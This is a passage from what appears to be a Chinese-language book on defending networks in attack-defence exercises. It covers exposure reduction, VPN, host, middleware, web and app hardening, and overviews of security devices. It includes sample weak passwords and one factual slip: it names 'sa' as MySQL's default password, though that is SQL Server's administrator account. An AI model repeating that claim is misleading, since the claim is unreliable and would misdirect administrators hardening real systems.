CMD等。这种攻击方式也很常见。常用的防御方法如下: 1)对所有互联网开放Web系统进行失陷检测,查找是否有后门链 接情况; 2)扫描和检测网站代码是否存在后门木马文件,或者根据后门内 容特征全盘搜索存在该特征内容的文件; 3)定期查看安全检测设备报警,是否有后门链接报警。 8.5 防护架构加强 8.5.1 互联网暴露面收敛 1. 使互联网出口可控、可检测 大型单位往往有多个互联网出口,这意味着攻击者可能会从多个 入口进入,为攻击行为的监测和防御带来影响。为了发现和阻断攻 击,大型单位需要在每个出口部署相关的监测设备和防护设备,这也 意味着需要投入更多的人员进行相应的监测分析和响应工作。 处置建议如下。 1)尽量合并减少互联网出口。 2)进行互联网出口功能规划,如划分正式Web发布出口、互联网 测试系统出口、终端上网互联网出口、托管系统互联网出口等,根据 不同出口进行有针对性的安全防护和监控。 2. VPN接入控制 VPN为大家带来便利的同时也是最受攻击者青睐的攻击路径之一, 一旦VPN被攻陷,攻击者进入内网后将畅通无阻。同时由于VPN的加密 属性,攻击者可以绕过所有安全防护设备,而且还不易被发现。 处置建议如下。 1)对于存在多套VPN的,尽量进行合并处理。 2)对于保留供应商的VPN远程维护通道的,采用随用随开、用完 即关的策略。 3)采用VPN+准入认证双层认证,即在VPN拨入后增加准入认证和 双因素认证。一旦VPN被攻陷,准入认证将是第二道防护屏障。 4)VPN账号梳理:对于VPN账号尤其是外部人员的VPN账号能禁用 就禁用,不能禁用的,可以按照使用时间段进行控制。 5)VPN权限清理:对于拨入VPN后能够访问的资源进行明确授权。 6)VPN账号清理:对默认的管理账号进行清理;对于已分配的VPN 账号,对从未使用过的进行关停处理,对其他账号采用强密码策略并 定期修改密码。 3. 对外发布系统资产排查 IT部门普遍存在资产管理缺陷,而安全部门无法管控对外发布系 统的所有资产,导致有些停用的、测试后需要下线的、不用的功能模 块,不需要开放在互联网上的系统以及未经过安全检测私自上线的系 统依然发布在互联网上。这些系统由于缺乏维护普遍安全性较低,会 成为攻击者重点攻击的对象。 处置建议如下。 1)让各业务处室自行梳理需要开放在互联网上的系统域名和端口 并上报安全管理员,只在互联网上开放业务处室上报的系统域名和端 口,其他的一律关闭互联网访问。 2)测试系统和正式上线系统不得部署在同一发布区内,单独划分 测试系统区域和互联网出口。 3)在用的系统对相关的功能模块进行排查,对于不使用的功能模 块进行下线或关停处理。 4. 开放在互联网上的API排查 较大单位的信息系统互联相对复杂,系统之间可能存在接口调用 情况,而不安全的接口调用方式会被攻击者利用。例如,不得不开放 在公网的API,基于用户的分布特性又难以限制可接入IP,因而容易受 到API参数篡改、内容篡改、中间人攻击等安全威胁。 处置建议如下。 1)通常情况下,WebAPI是基于HTTP协议的,也是无状态传输的, 故而认证任务需要我们自己实现。原则上每一次API请求都需要带上身 份认证信息,通常使用的是API key。 2)加密和签名。为保证信息的保密性和完整性,通常使用 SSL/TLS来加密通信消息,由API客户端发送和接收。签名用于确保API 请求和响应在传输过程中未被篡改。 3)关闭不需要的API功能(如文件上传功能)。 4)API必须使用文件上传功能的,需要对上传文件扩展名(或强 制重命名)、内容、格式进行合规检测,同时关闭上传文件夹执行权 限。 5. 管理后台排查 攻击者最习惯的渗透方式就是直接找网站的管理后台,通过暴力 破解、撞库、默认用户名及密码或者后台指纹漏洞收集等方式进行攻 击。一旦攻击成功,即可直接取得网站所有权限。原则上管理后台不 得联网,但有些运维人员为了方便还是会把管理后台发布在互联网 上。 处置建议如下。 1)进行安全制度约束,禁止将任何互联网系统后台发布在互联网 上。 2)定期通过人工或脚本扫描本单位互联网发布系统后台的管理路 径,一旦发现,通报关闭。 8.5.2 网络侧防御 从实战来看,安全的网络架构、部署得当的防护和监控设备、合 理的安全域划分、域之间的访问控制被证明是有效安全防护的基础。 网络侧的安全防护应注意以下几点。 1. 网络路径梳理 网络环境复杂的单位应定期梳理所有外部系统接入本单位内部网 络的网络路径,并给出网络路径图。通过网络路径梳理判断攻击者可 能的攻击路径,并尽可能在所有攻击路径上部署安全防护设备和安全 检测设备,避免攻击路径梳理不全面造成监控缺失,进而导致核心或 目标系统被攻陷或对于攻击发现不及时。 处置建议如下。 1)外部系统网络连接必须将外联区域作为唯一路径,其他路径一 律禁止。 2)本单位广域专网和互联网区域互联最好通过网闸连接,广域专 网不得上互联网。 3)与下属单位广域专网连接路径一定要部署防护设备和安全监控 设备。 2. 安全的网络架构 合理的网络架构是安全防护、限制攻击路径、防止攻击范围蔓延 的天然屏障。一个好的网络架构应包含如下几方面。 1)可控的、规划合理的互联网发布出口。互联网终端区最好与服 务器区物理隔离,不共用互联网出口。 2)合理的安全域划分,必须建立外连区,所有外部接入网络必须 经由外连区唯一路径接入,形成清晰可控的与其他网络互联的网络路 径。外连区应具有和服务器区同等的防护水平。单独划分业务系统测 试区,并严格控制测试区和生产服务器区的数据互通情况,最好进行 物理隔离。 3)完善的各个网络接入路径与安全域间竖向和横向的安全防护措 施。 4)合理安全的域间访问控制策略。在原有安全域的基础上,应明 确互联网接入区、外连区、安全管理区、终端区、服务器区和测试区 之间的互联关系。 5)内网终端不可上互联网,访问内网服务应通过代理。 6)安全管理区最好采用带外管理,和业务数据分开。 3. 访问控制 合理、有效的域间访问控制被证明是最好的防护和防内网蔓延手 段,各个安全域间须根据业务需要对访问的地址、服务严格按照最小 原则配置防火墙安全策略。一般的访问控制根据安全级别、数据传输 业务的不同分为如下几种。 1)逻辑物理隔离系统间访问控制:一般建议生产专网和可上互联 网网络间采取这种控制方式;通过代理数据摆渡的方式进行数据传 输,隐藏专网内部结构,数据传输路径可控。 2)单项数据传输访问控制:一般是数据上传和数据拉取时采用的 访问控制模式,防火墙只需要配置单项传输的目标IP、源IP、端口或 协议通过即可。 3)双向数据访问访问控制:一般只有对内或对外提供的业务服务 才会产生双向数据访问,此时只需要按照最小原则开通对外开放的 IP、端口或协议即可。如需更严格,则可根据业务提供的时间进行基 于时间的访问控制策略。 8.5.3 主机侧防御 做好主机侧的安全防御是防止攻击者提权、横向渗透、后渗透持 续控制的最有效安全手段。主机侧防御的技术关键点主要有以下几 个。 1. 及时安装漏洞补丁 操作系统及安装软件的漏洞是攻击者用来控制主机、提权、上传 后门软件、抓取密码的基础,目标单位须建立定期和紧急针对系统或 相关软件打安全补丁的机制。可通过和相关安全组织或安全厂商建立 威胁情报共享机制,监控本单位涉及的操作系统和软件的漏洞通报情 况。若出现紧急漏洞,则需要立即打上相关安全补丁;对于严重漏 洞,如MS17-010、MS08-067、MS06-040等可直接远程控制系统的漏 洞,需要及时安装相关补丁以防止攻击者利用;对于其他高危补丁, 可定期安装。具体建议如下: 1)本单位根据IT资产建立高危漏洞通报机制; 2)定期进行漏洞扫描,定期对产生的高危漏洞打补丁; 3)在新系统或软件上线前打全安全补丁; 4)为主机安装加固防护软件,并定期更新相关规则库; 5)安装杀毒软件,及时更新病毒库。 2. 安全加固 系统或软件不当的配置也会被攻击者利用,造成系统被入侵。单 位应建立系统和各个软件的安全配置基线,并定期更新安全配置基线 配置策略,同时对之前的安全配置进行检查和更新。安全加固建议如 下: 1)最小原则安装系统,仅安装用得到的服务或功能,其他服务或 功能不安装或关闭; 2)最小权限安装软件,禁止使用管理员权限安装软件,给安装软 件单独分配用户权限; 3)禁止使用默认配置,仅开放需要的功能,修改默认用户名和密 码; 4)系统远程登录或软件管理后台配置白名单访问; 5)关闭不安全的登录或传输协议,如Telnet登录; 6)开启安全日志记录功能。 3. 其他根据实际业务情况需要加固的加固项 (1)弱密码 弱密码口令是攻击者最喜欢的漏洞,可被直接利用,形成更深层 的数据泄露和安全漏洞。弱口令包括以下几类。 1)常见密码:如123456、1qaz2wsx、12345qwert等密码字典里肯 定会有的常见弱密码。 2)默认密码:系统或软件默认口令,如MySQL默认口令sa、ldap 默认空密码等。 3)相同口令或规则口令:管理员为了方便,一般会对一批服务器 都用一个口令或者规则口令,这为入侵者横向扩展提供了巨大的便 利。建议采用密码加动态口令的登录方式。 (2)中间件防御 1)中间件版本及漏洞。Web中间件作为Web服务发布软件直接暴露 在互联网或专网。近几年陆续爆出中间件远程代码执行高危漏洞,中 间件成为攻击者越来越喜欢利用并挖掘的攻击点,这也为中间件的安 全敲响了警钟。目前比较主流的Web中间件有WebLogic、WebSphere、 JBoss、Tomcat、Nginx等。防范该类漏洞的方式有以下几种: ① 定期打安全补丁; ② 将中间件升级到安全的版本; ③ 禁用不用的有安全问题的组件; ④ 不对外开放后台管理端口或敏感目录; 2)中间件后台。中间件后台暴露在互联网上也会引起极大风险。 一旦攻破中间件后台,攻击者可直接部署Webshell控制Web网站。中间 件后台防护手段如下: ① 禁止采用默认路径和默认端口; ② 禁止中间件后台暴露在互联网上; ③ 中间件后台在内网限制地址进行访问; ④ 禁止使用中间件默认用户名和密码; ⑤ 禁止在生产环境发布测试系统。 3)中间件配置加固。中间件的配置不当也会造成安全问题,例 如,未限制HTTP传输方式、网站目录文件任意下载、测试页面和默认 口令等都可以被攻击者利用。Web中间件安全加固建议如下: ① 修改默认的用户名和密码; ② 禁止列网站目录功能; ③ 删除测试页面; ④ 正式环境下禁止将报错文件直接返给用户; ⑤ 如无特殊需求,HTTP传输方式固定为只允许POST和GET方式; ⑥ 开启日志功能; ⑦ 上传文件夹关闭运行权限; ⑧ 中间件管理员用户名配置强口令; ⑨ 根据不同中间件特性制定加固基线。 8.5.4 Web侧防御 作为开放在外的应用系统,Web应用常常会被攻击者作为首要的攻 击目标。他们攻击的主要步骤为:第一步,获取Web权限;第二步,提 权获取系统权限;第三步,建立隐蔽通信隧道;第四步,寻找其他跳 板机;第五步,在同网段横向渗透。Web应用作为常规第一突破口,是 安全防护的重中之重。除了常规的Web防护设备和监控设备外,为了防 止黑客绕过Web检测设备,Web侧防御应参考如下几类。 1. Web安全漏洞 除了常见的Web漏洞(OWASP TOP 10)和常规渗透测试,还应注意 以下可能产生漏洞的点。 1)开发框架漏洞。出于某种原因,开发者一般都会在成熟的开发 框架上开发应用系统,不会改动开发框架的代码。这样一来,开发者 在引入开发框架的同时可能也把该开发框架的漏洞一同引入了开发的 系统。目前主流的开发框架有Struts2、Spring、ThinkPHP等。解决建 议如下: ① 充分掌握本单位应用系统利用的开发框架,跟踪漏洞平台和安 全厂商披露的涉及本单位所用开发框架的漏洞,并根据处置建议加固 或者升级。 ② 遵从最小应用原则,删除不用的应用组件。 2)主流CMS漏洞。各个单位可能会采用比较成熟的CMS管理或发布 网站内容。如果单位的CMS暴露在互联网上,且CMS名称和版本暴露的 话,攻击者就可能会在各漏洞平台搜索该CMS已被披露的利用漏洞,或 自己搭建环境挖掘该系统漏洞,挖掘成功后就可以成功攻陷目标单位 CMS。安全建议如下: ① 禁止将CMS暴露在互联网上; ② 尽量隐藏商业CMS名称和版本; ③ 删除不使用的功能模块。 3)编辑器漏洞。单位论坛、管理后台可能会引用第三方编辑器的 丰富编辑功能。某些主流编辑器或版本存在漏洞,被攻击者发现的话 也会存在较大的安全风险。解决建议如下: ① 充分掌握本单位引用的编辑器名称和版本,跟踪漏洞平台和安 全厂商披露的涉及本单位所用编辑器的漏洞,并根据处置建议加固或 者升级。 ② 遵从最小应用原则,删除不用的功能组件。 4)商业系统漏洞:各个单位可能会采用比较成熟的商业Web系 统,如致远OA、帆软报表等商业系统,如果该商业系统暴露在互联网 上,且系统名称和版本暴露的话,攻击者会在各漏洞平台搜索披露的 该商业系统利用漏洞,或自己搭环境挖掘该系统漏洞,挖掘成功后攻 击目标单位商业系统。安全建议如下: ① 尽量隐藏商业系统名称和版本; ② 删除不用的功能模块; ③ 及时更新商业厂商提供的漏洞补丁。 5)开源软件系统漏洞:开源软件由于其便利性和经济性,广受开 发厂商和开发者欢迎,IT系统复杂的单位都或多或少使用了开源软 件。由于其开源性,攻击者可通过白盒测试审计代码中存在的安全漏 洞,如果所使用的开源系统被攻击者发现,则极有可能被攻陷。安全 建议如下: ① 尽量隐藏开源系统的指纹痕迹和版本; ② 删除不用的功能模块; ③ 使用开源软件之前进行代码审计。 6)Web接口漏洞:Web接口由于具有隐蔽性,在渗透测试时很容易 被忽略。不安全的接口开放在互联网上,一旦被攻击者发现则极容易 被利用。安全建议如下: ① 参演单位安全人员需要充分掌握暴露在互联网上的Web接口, 并协调安全测试人员对每个接口进行安全性测试。 ② 编写Web接口安全规范,要求接口开放必须符合安全规范。 ③ Web接口引用增加鉴权和身份认证。 ④ 加密和签名用于确保API请求与响应在传输过程中的数据保密 性和完整性(未被篡改)。 ⑤ 关闭不需要的API功能(如文件上传功能)。 ⑥ 若API必须使用文件上传功能,则需要对上传文件扩展名(或 强制重命名)、内容、格式进行合规检测,同时关闭上传文件夹执行 权限。 2. 管理后台(路径)及弱密码 很多单位的运维人员为了方便会把应用管理后台发布在互联网 上,这就使得网站后台容易被攻击者盯上。一旦后台密码泄露或存在 安全漏洞,攻击者可直接获得网站管理权限,部署后门。安全建议如 下: ① 禁止后台地址对外网开放; ② 限制访问后台的IP地址; ③ 禁止默认密码、弱口令; ④ 增加验证码功能以防止暴力破解; ⑤ 测试用户名登录和密码参数是否存在SQL注入。 3. 重要集权系统 组织内的重要集权系统(攻陷即可获得组织内大部分系统权限的 系统都可以视为重要集权系统)是攻击者在进入内网后横向拓展的重 要目标,如域控、4A、堡垒机、集中管控、集中身份认证系统、终端 管理系统。重要集权系统一定要重点防护,安全建议如下: ① 制定重要集权系统访问白名单,只有受认可的IP才可以访问管 理页面或系统; ② 定期对重要集权系统进行漏洞扫描,对高危漏洞必须打补丁; ③ 对重要集权系统进行渗透测试,针对漏洞进行整改; ④ 在重要集权系统的主机上安装入侵防护软件和杀毒软件,开启 审计日志; ⑤ 清理不用的、过期的权限账号。 4. 安全设备自身安全 安全设备自身的安全性同样重要,一旦安全设备存在安全漏洞, 那么它可能就会成为攻击者逃避检测、收集信息、监控防护人员举 动、修改安全策略等的“帮凶”,使部分或全部防护和监控手段形同 虚设。安全设备自身安全的建议如下: ① 为安全设备管理入口单独划分安全域; ② 为管理入口配置白名单访问; ③ 对安全设备进行安全检测,如渗透测试、安全加固、漏洞扫 描; ④ 禁止安全设备管理入口暴露在互联网上; ⑤ 安全设备自身开启日志审计。 8.5.5 App客户端安全 由于移动互联网的普及,很多单位应用系统都会有Web和App两种 访问方式,所以App安全也应该重点考虑。如果App存在安全漏洞,攻 击者同样可以成功入侵目标单位。App安全测试目前主要分为App客户 端安全测试和App组件安全测试。 如果App客户端可以被反编译、DLL注入,配置文件存在敏感信 息,攻击者可通过App的漏洞获取App后台服务器敏感信息,从而攻击 App后台服务器并进一步进行内网渗透。 1. App客户端安全 攻击者得到目标App后,利用反编译工具可以很方便地得到App代 码,进而对App代码进行逆向分析、修改、重打包。若没有采用任何加 固保护措施,App的逻辑将完完整整地暴露给攻击者。App客户端安全 需要注意的检测点如下: ·App客户端反编译保护; ·App签名认证; ·App完整性校验; ·App任意调试检测; ·App数据任意备份; ·App敏感信息泄露。 2. App组件安全 安卓App在前端运行时会调用各种不同组件,如果开发者发生疏 忽,组件安全也会造成安全隐患。App组件安全检查点如下: ·Activity组件越权; ·BroadcastReceiver组件越权; ·Service组件越权; ·Content Provider SQL注入; ·WebView远程代码执行。 3. App其他安全 建议聘请专业的App安全检测人员对App进行安全检测。除了上述 两点外,还需要对如下安全点进行检测: ·App通信安全检测,如是否采用HTTPS、关键信息是否加密; ·运行环境安全检测,如反越狱检测、ROOT环境检测等; ·安全策略设置检测,如键盘记录保护、界面切换保护检测等; ·基于业务安全的常规渗透测试检测。 第9章 红队常用的关键安全设备 部署安全设备及系统是防守工作的必要条件之一,以下通过边界 防御设备、安全检测设备、流量监控设备、终端防护设备、威胁情报 系统这五方面帮助读者了解、熟悉红队常用的关键安全设备。 9.1 边界防御设备 9.1.1 防火墙 防火墙作为网络安全防护的基础设备,发展到现在已成为能够全 面应对传统网络攻击和高级威胁的安全防护产品,被广泛运用于网络 边界防护领域,具有网络安全域隔离、精细化访问控制、高效威胁防 护和高级威胁检测等功能。防火墙可集成威胁情报搜集、大数据分析 和安全可视化等创新安全技术,并通过与网络威胁感知中心、安全管 理分析中心、终端安全管理系统等的智能协同,在网络边界构建威胁 防御平台。 1. 设备应具有的核心功能 1)基础能力:支持多种形式灵活部署,具备负载均衡、NAT(网 络地址转换)、IPv6支持、VPN、VSYS(虚拟防火墙)、HA(双机集群 系统)等功能,并可防护扫描、泛洪、异常数据包等传统网络攻击。 2)精细化应用控制:可精确识别网络应用及用户、终端、地理位 置、传输内容等信息,并可实现应用、用户、内容多维一体的精细化 管控。 3)高性能威胁防护:深度集成一体化威胁防护引擎,可针对流行 的病毒、漏洞利用攻击和间谍软件行为等提供高性能防护。 4)智能化协同防御:支持与云端、终端安全系统智能协同,实现 病毒云查杀、威胁情报实时处置、应急响应策略推送、高风险终端管 控等高级安全功能。 5)失陷检测及处置:可对网络流量产生的行为数据进行威胁情报 检测和深度分析,实时预警本地的失陷主机,并对受害IP、威胁源执 行一键处置。 6)可视化关联分析:能够将应用、用户、内容、威胁、地理位置 等多维信息以图形化形式关联呈现,并通过递进式的数据钻取实现高 效的安全分析。 2. 产品在实战中的应用 防火墙作为最基础的安全防护设备,在实战演练中也发挥着重大 的作用,主要通过以下方式进行防护。 1)ACL配置:在网络内部通过对网络区域进行划分,明确各区域 的功能、各区域间实现明确的允许/拒绝ACL,实现严格的访问控制。 大量的攻防实战证明,区域间隔离能够在很大程度上限制攻击者横向 拓展的范围。 2)黑名单配置:部署在网络外层的防火墙,在实战中可以通过将 攻击者/可疑攻击者的IP地址加入黑名单中,从网络层阻止可疑的攻击 流量,阻止攻击者继续攻击,从而迫使攻击者变更攻击IP地址,延误 攻击者的进攻节奏。 3)实时联动:可以根据实际的部署环境,与流量感知及威胁感知 类产品进行联动处置,对分析出的恶意IP进行封禁。 4)自动化封禁:更进一步地,为了更加高效地应对扫描等攻击行 为,可以利用编程等方式实现自动化封禁的措施,提高封禁效率,减 缓处置人员的工作压力。 在实战演练中,在网络接入区、对外接入区、内部各安全域间部 署防火墙并按照最小授权原则做好控制策略,可有效地给攻击方造成 困扰。 9.1.2 入侵防御系统 入侵防御系统(Intrusion Prevention System,IPS)是一部能 够监视网络或网络设备的网络资料传输行为的网络安全设备,能够即 时中断、调整或隔离一些不正常或是具有伤害性的网络传输行为。IPS 依赖高效的一体化引擎,实现对防护网络的流量分析、异常或攻击行 为的告警及阻断、2~7层安全防护控制,以及用户行为、网络健康状 况的可视化展示。IPS不但能发现攻击,而且能自动化、实时地执行防 御策略,有效保障信息系统安全。由此可见,针对攻击特征来说,识 别的准确性、及时性、全面性及高效性是衡量一款入侵防御产品可靠 性的重要指标。 1. 设备应具有的核心功能 1)攻击检测能力:内置特征条目,可以防范扫描、可疑代码、蠕 虫、木马、间谍软件、DoS/DDoS等各类网络威胁。 2)抗DoS/DDoS能力:提供DoS/DDoS检测及预防机制,可以辨别合 法数据包与DoS/DDoS攻击数据包,保证企业在遭受攻击时也能使用网 络服务。 3)弹性管理能力:提供虚拟化、弹性化的管理方式。每一对实体 接口都可配置不同的规则集,每一个规则集都可依据来源/目的端IP地 址等对象信息来决定对应的处理方式。同时每个规则集皆可定义有效 的运行时间,方便网络管理人员依据业务系统的规范要求进行规划和 部署。 4)异常流量管理、带宽管理功能:针对通信协议异常、IP/端口 的扫描异常、网络流量异常等进行动态管理,采取七层深度数据包分 析技术,可以完整地做到应用程序级别的流量管理。 5)管理能力:具有强大且丰富的管理能力,能够贴近各种不同网 络架构的需求,提供友好的管理接口以及多种实用的信息实时显示。 2. 产品在实战中的应用 实战中,由于攻击未知漏洞成本高,攻击方往往会在啃硬骨头的 时候谨慎使用,而攻击成本较低的已知系统漏洞是最重要的一种攻击 方式。利用已知系统漏洞攻击方式进行边界突破、内网横向拓展等攻 击动作,IPS可通过防护规则进行有效防护。在实战前,对内部的开发 部门进行调研,并根据业务系统的实际需要对防护策略进行定制、适 配,设置相对严格的策略。可以自动化、实时地执行防御策略。 实战中在互联网入口、互联网接入区等位置部署IPS。IPS基本都 是串联部署在网络中的,通用的部署方式是部署在防火墙产品的后 面,形成边界安全产品解决方案中的一道安全屏障。 9.1.3 Web应用防火墙 Web应用防火墙是以网站或应用系统为核心的安全产品。通过对 HTTP或HTTPS的Web行为进行分析并拦截其中的攻击行为,不仅可以有 效缓解网站及Web应用系统面临的威胁(如OWASP TOP 10中定义的常见 威胁),还可以快速应对恶意攻击者对Web业务带来的冲击,让网站免 遭Web攻击侵扰,并对网站代码进行合理加固。 1. 设备应具有的核心功能 1)串联透明部署。可串联透明部署在Web服务器的前端,在物理 层面是Web服务器的前端多部署了一台硬件设备,而在网络层面是Web 服务器的前端没有任何硬件设备。透明部署方式不改变参演单位的网 络拓扑结构,Web服务器看到的都是浏览者的源地址,也不会造成审计 类安全产品无法工作等问题。 2)细粒度特征库。提供细粒度的出现特征库,支持HTTP协议校 验、Web特征库(基于OWASP TOP 10标准)、爬虫规则、防盗链规则、 跨站请求规则、文件上传/下载、敏感信息、弱密码检测等多种细粒度 检测的特征库匹配规则。 3)日志追溯。提供详细的数据分析与统计功能,提供攻击类型、 验证级别、攻击源IP、攻击域名、攻击类型、攻击次数、CDN IP、XFF IP等详细分析数据,为攻击溯源、追踪攻击者源提供详细的技术依 据。 2. 产品在实战中的应用 在实战演练中,网站等应用系统是攻击方突破边界的重要手段。 Web应用防火墙系统部署在网站服务器的前端并且串联部署,对外来访 问网站的流量进行过滤。Web应用防火墙的主要目标是保护Web服务器 或网站服务器,对所有外来的HTTP或HTTPS访问流量进行过滤。通过深 入业务,与应用系统的开发人员交流,确认开启的策略不会影响业 务,并能有效阻断攻击方的攻击。 9.1.4 Web应用安全云防护系统 Web应用安全云防护系统是为云端网站提供安全防护的系统,为网 站提供SaaS化的安全防护服务。它根据企业网站的实际安全需求及现 状,将智能DNS解析能力、DDoS防护能力、Web应用攻击防护能力、CDN 加速能力、安全运营能力以及统一的配置管理能力整合到同一安全防 护体系中,为企业网站提供云WAF、云抗D、云加速、CC攻击防护、反 爬虫、全站镜像(重保只读)、实时监控告警、可视化安全等综合安 全能力。可降低网站数据泄露、网页被篡改风险,提升网站链路可靠 性,降低被上级主管单位/网络安全执法单位通报或处罚的概率。 1. 设备应具有的核心功能 1)云WAF:可以防护网站面临的SQL注入攻击、跨站脚本攻击、命 令注入攻击、Webshell木马后门上传、服务器敏感信息泄露、扫描攻 击等常见的Web攻击,使网站免遭恶意篡改、信息泄露、服务器被恶意 控制等应用层网站安全威胁。 2)云抗D:可以防御攻击者对网站发起的SYN Flood攻击、ACK Flood攻击、NTP反射放大攻击等大流量网络层DDoS攻击;提供DNS解析 服务并提供高防DNS能力,以保护网站域名的正常解析。 3)云加速:将源站的JavaScript、CSS、图片、HTML等文件进行 压缩和缓存,当后续有用户再次对这些文件资源发起请求时,可以就 近选择高质量的节点机房,获取缓存在云防护节点的文件,从而大大 提高访问效率,提升用户的访问体验,同时也能降低源站链路和服务 器的负载。 4)CC攻击防护:可以针对应用层CC攻击进行防护。智能识别不同 规模CC攻击,快速拦截,动态阈值防护,可触发HTTP协议验证、 JavaScript验证、图片验证、拦截IP的防护策略,并且可以与威胁情 报中心联动。 5)反爬虫:可根据爬虫性质有针对性地进行爬虫防护。开启反爬 虫功能后,即可基于复杂、精准的算法智能生成合适的防护配置。支 持通过自服务平台针对URL进行单独的爬虫防护配置对抗爬虫攻击。 6)全站镜像(重保只读):结合爬虫技术和数据缓存保护技术, 在特殊时期或重要保障期间将全站内容镜像缓存到各个云端CDN节点 中,当源站出现不稳定、被恶意篡改等不可预知异常情况时,访问者 仍能正常访问网站的内容。 7)实时监控告警:可对网站的访问攻击数据及健康状况进行持续 监控分析。云防护系统监测到网站数据异常时,会向管理员发送告警 通知,为网站管理员第一时间对网站问题进行响应和处置提供有力保 障,并支持管理员自定义设置网站受到攻击、出现异常时的告警阈值 和告警方式。 8)可视化安全:通过可视化大屏动态展示网站实时攻击情况及历 史攻击数据,实时攻击来源、目的、种类、强度等一目了然,全面展 示网站安全威胁态势,洞悉网站及应用运行健康状态。 2. 产品在实战中的应用 SaaS化网站云防护系统,不需要部署软件、硬件,通过CNAME接入 和A记录接入的方式更新域名DNS解析,将网站访问流量转发到Web应用 安全云防护系统上。防守方需要提前梳理所有对外提供服务的网站系 统,尽量将对外提供服务的所有系统接入Web应用安全云防护系统进行 防护,通过云防护系统对攻击者的攻击进行防护。 9.1.5 邮件威胁感知系统 在实战中,社工攻击是一种比较常见的攻击方式,而钓鱼邮件攻 击是社工攻击中最常用的一种方式,它是一个绝佳的打开内网通道的 入口点。邮件可以携带文字、图片、网址、附件等多种信息媒介,结 合社工手段可以对安全意识薄弱的人员进行降维打击;而且钓鱼邮件 一般具有很强的针对性,对于运维部门管理人员等高权限、高价值目 标还可以做到精准打击。 因此,邮件威胁检测系统应采用多种病毒检测引擎,结合威胁情 报及URL信誉库对邮件中的URL和附件进行恶意判定,并使用动态沙箱 技术、邮件行为检测模型、机器学习模型发现高级威胁及定向攻击邮 件。通过对海量数据建模、多维场景化对海量的邮件进行关联分析, 对未知的高级威胁进行及时侦测。 1. 设备应具有的核心功能 1)威胁情报:结合威胁情报数据,提高对邮件威胁的检测能力。 2)沙箱分析:沙箱模块可针对文件进行深度检测,采用静态检 测、漏洞利用检测、行为检测多层次手法,构建基于沙箱技术的文件 深度检测分析能力。静态检测模块通过多种检测引擎互为补充,增强 静态检测能力。动态检测模块以硬件模拟器作为动态沙箱环境,分析 过程中的所有数据获取和数据分析工作都在虚拟硬件层实现,全面分 析恶意代码、恶意行为,细粒度检测漏洞利用和恶意行为。 3)邮件异常场景检测:异常场景包括发件异常、收件异常、暴力 破解、单个IP登录多个邮箱、异地登录等,邮件威胁检测系统可根据 需求自定义异常场景的检测条件,且支持全面分析仿冒邮件场景。 4)邮件多维分析:基于联系人之间收发关系的多维分析以及基于 恶意文件/ URL的传输路径的多维分析。通过关键信息进行检索,实现 数据之间的多维关系网。所有复杂的关系通过多维分析进行展现,数 据一目了然。 5)海量数据存储和检索:快速检索匹配邮件主题或者正文中的关 键字,结合统计学的相关理论,实现快速、精准的内容过滤和关键字 分析,并配套大量的检索和分析软件以对数据做到高效分析。 2. 产品在实战中的应用 在实战中,由于具有操作性好,易实施,一旦成功收益较大等特 点,钓鱼邮件攻击成为社工攻击中最重要的一种攻击方式。钓鱼邮件 攻击的方式多种多样,但主流的攻击方式大致可分为以下两种,邮件 威胁感知系统在防护时可以根据这两种攻击方式进行针对性的配置和 检测。 1)邮件正文插入恶意链接:这是一种最基础的攻击方式,就是在 邮件正文中放入一个恶意诱导链接,等待用户点击,链接后面是一个 伪造的网站,可能是一个恶意程序下载网站,或者一个用于伪造的登 录入口等。攻击者常常利用一些近期的热点事件或者公司内部信息 (如产品介绍、系统账号升级等)来提高内容可信度,诱导用户点击 链接。他们也会对恶意链接进行伪装,常见伪装方式有短链接、使用 HTML标签伪造隐藏、近似URL、子域名、利用URL特性等,防守者需要 对此重点防范。 2)邮件附件藏毒:这也是一种常见的攻击方式,攻击者的攻击载 荷(payload)含在邮件附件里,载体有文档、图片、压缩包、脚本程 序(exe、vbs、bat)等。发送脚本程序是最直接的,但是容易被邮箱 安全机制拦截或被相关人员识破。因此,攻击者通常会使用一些伪装 手段,如使用超长文件名隐藏后缀等,防守者在打开时要重点关注。 实战中可以通过串接部署的邮件代理转发模式、旁路部署的邮件 暗抄模式或者SPAN流量镜像解析模式对邮件流量进行识别和控制,以 防范钓鱼邮件的攻击。 9.2 安全检测设备 9.2.1 互联网资产发现系统 互联网资产是实战演练中攻击方首先可以接触到的资产,同时也 是防守方的重点防守对象。然而,大量组织未全面掌握暴露在互联网 上的IT资产,包括应用系统、域名、端口、应用服务、IP等。这就造 成了组织的防御边界出现了盲区,成为整个网络安全体系的重大短 板。甚至,在一些真实案例中,我们看到:一方面,组织在竭尽全力 检测、分析、抑制攻击;而另一方面,新的攻击却从一些“陌生资 产”源源不断地爆发出来。这些“陌生资产”就像黑洞一样,平时不 可见,关键时刻却吸引了大量攻击流量,造成整个防御体系的失效。 1. 设备应具有的核心功能 1)资产及应用发现:通过数据挖掘和调研的方式确定企业资产范 围,之后基于IP或域名,采用Web扫描技术、操作系统探测技术、端口 探测技术、服务探测技术、Web爬虫技术等各类探测技术,对参演单位 信息系统内的主机/服务器、安全设备、网络设备、工控设备、Web应 用、中间件、数据库、邮件系统和DNS系统等进行主动发现,并生成资 产及应用列表,列表中不仅包括设备类型、域名、IP、端口,更可深 入识别运行在资产上的中间件、应用、技术架构的详细情况(类型、 版本、服务名称等)。 2)信息安全资产画像绘制:在资产及应用发现的基础上,对每个 业务梳理分析,依据信息系统实际情况、业务特点、资产重要度等信 息,结合信息安全的最佳实践进行归纳,最终形成参演单位专属的资 产画像,构建起参演单位专属的信息安全资产画像。资产画像构建完 成后可根据域名、IP、端口、中间件、应用、技术架构、变更状态、 业务类型(自定义)等条件对资产进行查询和统计。 2. 产品在实战中的应用 互联网资产发现是攻防实战前期梳理资产中比较重要的一项工 作,通过资产发现平台,对暴露在互联网上的资产信息进行摸排和测 绘。做到摸清家底,为下一步针对资产进行安全检测提供依据。 可以通过产品或服务的方式进行,通过定期的资产发现降低被攻 击者利用的风险。 9.2.2 自动化渗透测试系统 自动化渗透测试工具可为渗透测试全过程提供专业的技术支持, 在渗透前期、中期、后期提高渗透测试效果,赋能渗透测试人员。 1. 设备应具有的核心功能 1)漏洞探测功能。对渗透目标进行自动化漏洞探测,有两种漏洞 探测方式:网站URL探测方式和IP地址探测方式。网站URL探测方式是 通过对目标进行指纹识别,收集中间件、通用网站框架、开发语言、 操作系统等指纹信息,从插件库中寻找与之相关的漏洞插件,发现存 在的漏洞。IP地址探测方式是对目标进行端口扫描,发现对外开放的 